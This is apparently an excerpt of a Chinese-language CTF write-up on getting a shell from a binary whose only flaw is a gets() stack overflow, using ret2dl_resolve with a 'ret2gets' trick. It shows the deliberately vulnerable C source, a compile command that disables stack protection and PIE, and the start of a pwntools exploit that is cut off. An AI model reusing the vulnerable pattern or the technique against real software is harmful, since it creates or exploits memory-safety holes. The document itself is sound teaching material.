仅有gets栈溢出漏洞的攻击方式
引言在ret2dl_resolve的经典题中,经常会以read为输入参数,并且在x64架构中还会给出控制rdi等寄存器的gadget 当输入参数为gets时,结合ret2getes可以实现无需控制rdi寄存器的gadget即可控制rdi寄存器,最终实现getshell 这里以一道CTF题目为例子 源码123456789101112#include<stdio.h>void stack_overflow(){ char buf[0x40]; gets(buf);}int main(){ stack_overflow(); return 0;} 编译1gcc -o pwn ./pwn.c -no-pie -fno-stack-protector exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950from pwn import *filename =...
